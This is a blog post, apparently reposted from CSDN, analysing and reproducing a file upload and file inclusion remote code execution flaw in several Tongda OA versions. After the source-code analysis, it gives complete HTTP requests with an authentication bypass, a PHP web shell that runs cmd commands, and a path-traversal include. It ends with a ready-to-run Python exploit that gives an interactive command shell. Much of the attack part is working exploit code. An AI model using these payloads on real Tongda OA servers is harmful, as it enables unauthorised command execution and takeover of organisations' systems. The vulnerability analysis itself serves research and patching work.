把自己在csdn的一些水文移植过来,hhh。
文章目录
-
0x00 闲扯
0x01 安装
0x02 漏洞分析
0x03 漏洞复现
0x00 闲扯
研究了好几个java程序的漏洞,但是都有好多地方不明白,java不太熟悉,太打击人了。先分析之前复现过的php漏洞压压惊。
漏洞版本:
tongdaOA V11
tangdaOA 2017
tangdaOA 2016(为啥我下的16版本还要自己添加gateway.php呢,懵逼)
tangdaOA 2015
tangdaOA 2013 增强版
tangdaOA 2013
0x01 安装
1.下载漏洞版本,我下的是2016年版本:(通达oa是windows上用的,不能丢linux里)
http://www.tongda2000.com/download/2016.php
2.下载完了之后傻瓜式安装,注意提示,路径不能有中文,还有长度限制:
3.装完之后会弹出来一个窗口,分别选中MYsql5和web服务,点击右侧的注册:
4.浏览器访问localhost:(如果你改端口了就要访问改后的端口)
0x02 漏洞分析
1.漏洞文件有三个,分别是upload.php
/ gateway.php
/ utility_file.php
;具体路径和版本有关。
upload.php文件:
D:\MYOA\webroot\ispirit\im\upload.php
gateway.php文件:
https://github.com/jas502n/OA-tongda-RCE/blob/master/tongda/decode/gateway.php
在D:\MYOA\webroot\interface
下面新建一个gateway.php,把代码粘贴进去。
utility_file.php:
是在线网址解的:http://dezend.qiling.org/free.html
2.终于开始分析了- -,首先看upload.php文件:
这里是post接收了一个P参数,如果P存在或者不为空就包含session.php,然后给你设置了session,如果是空的话就包含了auth.php文件,这个文件就是身份验证的意思了。
我们就可以传一个P参数,值随便给,就导致了一个越权操作。(因为这上传点是在后台的)
3.继续往下看关键点,中间的一些不管了:
这里只要上传了文件,就是大于等于1的,然后就进入判断来到第二个红点处,调用了upload函数。
4.upload函数在D:\MYOA\webroot\inc\utility_file.php里面,我把这个文件解密了下,代码太多就贴出来一部分,关键点:
先看第二个红点,如果$ERROR_DESC为空,那么就进入add_attach函数,而这个函数正是把文件保存在服务器的函数,所以我们要保证$ERROR_DESC为空。
再往上看到第一个红点,那里给$ERROR_DESC初始化为空,我们现在就需要绕过两个红点之间的一些赋值操作,保证$ERROR_DESC为空。
内层的第二个和第三个if,检查文件名非法字符和文件大小是否为0 ,很明显,我们上传点后缀马(12.php.)不会触发这些规则,根本不需要绕过。
主要看第一个内层if,它调用了is_uploadable函数,我们要保证这个函数返回true才不会进入if里面,这个函数 也在这个文件里。
5.在1667行:
strrpos — 计算指定字符串在目标字符串中最后一次出现的位置,如果没有找到,返回 FALSE。
我们的文件名肯定是有“.”的,所以直接进入else,这里用substr函数截取了"."后面的三个字符,而且用strtolower函数把它转换为小写。
也就是说,我们不能用php\php3\php4和大小写绕过了,但是phtml、php. 这些都是可以的。(因为之后还是要用到文件包含漏洞,所以这里随便上传图片马也可以了,不用绕过)
绕过之后就给$EXT_NAME赋值为“.”之后的字符。
6.回到upload函数,我们可以成功的去add_attach函数了:
7.add_attach函数也在这个文件下,在1318行:
这个里边就是各种拼接目录和文件名,文件名也是随机的:
8.问题来了,我们在攻击的时候,没办法知道随机后的文件名。但是在upload.php里面有这么一段:
第一个点点,$UPLOAD_MODE其实也是我们可以通过post传上去的;
第二个点点就是把我们的一些目录和文件名拼接起来,一会儿直接在复现中看比较清楚;
第三个点点就是把它echo出来。
9.我们知道了文件名,但是问题又来了,我们的网站根目录是webroot,我们上传的文件却被保存在attach里面的一个目录下,我们就没办法直接访问了。(好像版本不同,保存的文件位置也不同,但是都不在网站根目录下)
我们现在就需要一个文件包含漏洞去包含它,而且这个包含漏洞还需要允许 “…/”往上跨目录:
10.在gateway.php文件里面,就有一个包含函数包含了变量:
11.因为这个文件下载下来只有几十行,那就全部分析了:
第一部分:
包含了一些文件,然后判断$P不为空就进入if里面,然后哒哒哒一系列操作,导致有可能exit掉,不能到最后的包含函数。
这里不用仔细看,我们不传$P就可以了,因为它没写else会怎么怎么样。(这里传不传$P和之前的上传没关系,是两个操作,不影响)
第二部分:
stripcslashes函数删除$json中的反斜杠;
然后json解码并且转为数组;
foreach循环,键名赋给$key,键值赋给$val,假如…,假如$key等于url,就把$val赋值给$url。(因为包含函数包含的变量是$url,所以不看内层的foreach)
第三部分:
如果$url不为空,进入判断;
如果$url的第一位是"/"符号,就把它去掉;
只要$url中存在general/、ispirit/、module/中的任意一个,就可以进行包含。
12.调用链:upload.php==》 utility_file.php的upload() ==》 is_uploadable() ==》 add_attach() ==》 upload.php(输出文件名) ==》 gateway.php的include_once函数。
0x03 漏洞复现
首先确保安装完成,能够正常访问,并且把gateway.php文件放进interface文件夹里(上面都有说)
我搞的大佬的poc直接传了:
POST /ispirit/im/upload.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Length: 564
Origin: http://localhost
Connection: close
Referer: http://localhost/
Cookie: Phpstorm-9102a7e6=cc1a9f2c-c084-4378-8aa3-e42492123b1c; PHPSESSID=18p3ov5rtc2i1elr4dvje9m1b3
Upgrade-Insecure-Requests: 1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"
2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"
123
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="123.php."
Content-Type: image/jpeg
<?php
$command=$_POST['cmd'];
$wsh = new COM('WScript.shell');
$exec = $wsh->exec("cmd /c ".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--
看这里,我们指定了UPLOAD_MODE,是为了输出文件保存地址;
我们指定了P参数,伪造身份认证;
我们上传了免杀马,Content-Type是图片的,文件名是用了 “点后缀绕过”,下面是输出结果。
我们再看本地的文件(注意看我的路径),可以看到,
@后面的2005是子目录名,
1406090585|123.php. 变成了1406090585.123.php ,
因为windows的特性,最后的 “.” 也被去掉了。
(直接对比 比 分析源代码容易多了)(版本不同可能目录也有些不同)
我们知道了文件路径和构成规则就可以进一步包含了:
POST /interface/gateway.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 83
Origin: http://localhost
Connection: close
Referer: http://localhost/
Cookie: Phpstorm-9102a7e6=cc1a9f2c-c084-4378-8aa3-e42492123b1c; PHPSESSID=18p3ov5rtc2i1elr4dvje9m1b3
Upgrade-Insecure-Requests: 1
json={"url":"/general/../../attach/weixunshare/2005/1406090585.123.php"}&cmd=whoami
可以看到,我们是传的json数据;
而且url的值里面包含了general,这个general也可以换成ispirit或者module。
我们之前分析过,在根目录下的确存在这么几个目录。
(这里因为版本不同路径也会不同,其他版本的
包含文件路径:/ispirit/interface/gateway.php
,/mac/gateway.php
文件上传后的路径 /general/../../attach/im/
)
最后包含执行命令的结果:
kw,版本不同导致目录不同的话,POC+EXP不好写啊- -。看了好多前辈的分析文章,就没见到过我这种目录的- -。
通达OA文件上传+文件包含漏洞 【POC+EXP练习计划2】
自己瞎写的poc,喜欢用命令行提示的方式或者改源码的方式传参- -不喜欢 --url 这种。
#因为路径要循环判断,所以看起来有点杂乱
#文件包含要加上Content-Type: application/x-www-form-urlencoded。但是上传不能用这个,所以弄了两个headers
#在同目录下要存在一个123.php , 123.php是要上传的马
import requests
import re
headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3362.0 Safari/537.36'}
headers1 = {
'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3362.0 Safari/537.36',
'Content-Type':'application/x-www-form-urlencoded'
}
proxies = {'http':'http://127.0.0.1:8080'}
class Poc:
def __init__(self,url,uploadUrl):
self.url = url
self.uploadUrl = self.url + uploadUrl
self.includeUrl = None
self.file = None
self.cmd = 'echo H9_dawn'
self.status = 0
def upload(self):
files = {'ATTACHMENT':('123.php.',open('123.php.','rb'),'image/png')}
data = {'UPLOAD_MODE':2,'P':'123'}
response = requests.post(self.uploadUrl,headers=headers,data=data,files=files)
if 'OK' in str(response.content):
return str(response.content)
else :
return 'No'
def include(self):
data = 'json={"url":"'+self.file+'"}&cmd='+self.cmd
response = requests.post(self.includeUrl,headers=headers1,data=data)
response = str(response.content)
if "H9_dawn" in response:
self.status = 1
def rce(self):
data = 'json={"url":"' + self.file + '"}&cmd=' + self.cmd
response = requests.post(self.includeUrl, headers=headers1, data=data)
response = str(response.content)
print(response)
def zz(html):
rere = re.compile('@(\d+)_|(\d+)\||([1-9a-z.]+)\.\|')
dic1 = rere.findall(html)
return dic1[0][0] + '/' + dic1[1][1] + '.' + dic1[2][2]
if __name__ == '__main__':
logo = '''
__ __ ___
| | | | / _ \ ____
| |__| | | (_) | | _ \ __ ___ ___ __
| __ | \__, | | | | |/ _` \ \ /\ / / '_ \
| | | | / / | |_| | (_| |\ V V /| | | |
|__| |__| /_/ ______ |____/ \__,_| \_/\_/ |_| |_|
'''
print(logo)
url = 'http://localhost'
uploadUrl = '/ispirit/im/upload.php'
includeUrl = ['/ispirit/interface/gateway.php', '/mac/gateway.php','/interface/gateway.php']
includeDir = '/general/../../attach/im/'
poc = Poc(url, uploadUrl)
status = 0
resp = poc.upload()
if (resp == 'No'):
print("上传失败")
else:
fileName = zz(resp)
for i in includeUrl:
poc.includeUrl = url + i
poc.file = includeDir + fileName
poc.include()
if poc.status == 1:
print("[+++]恭喜你,存在通达OA漏洞")
status = 1
break
if status == 1:
while (1):
cmd = input("请输入你要执行的命令:")
poc.cmd = cmd
poc.rce()
else :
print("[---]很遗憾,不存在通达OA漏洞")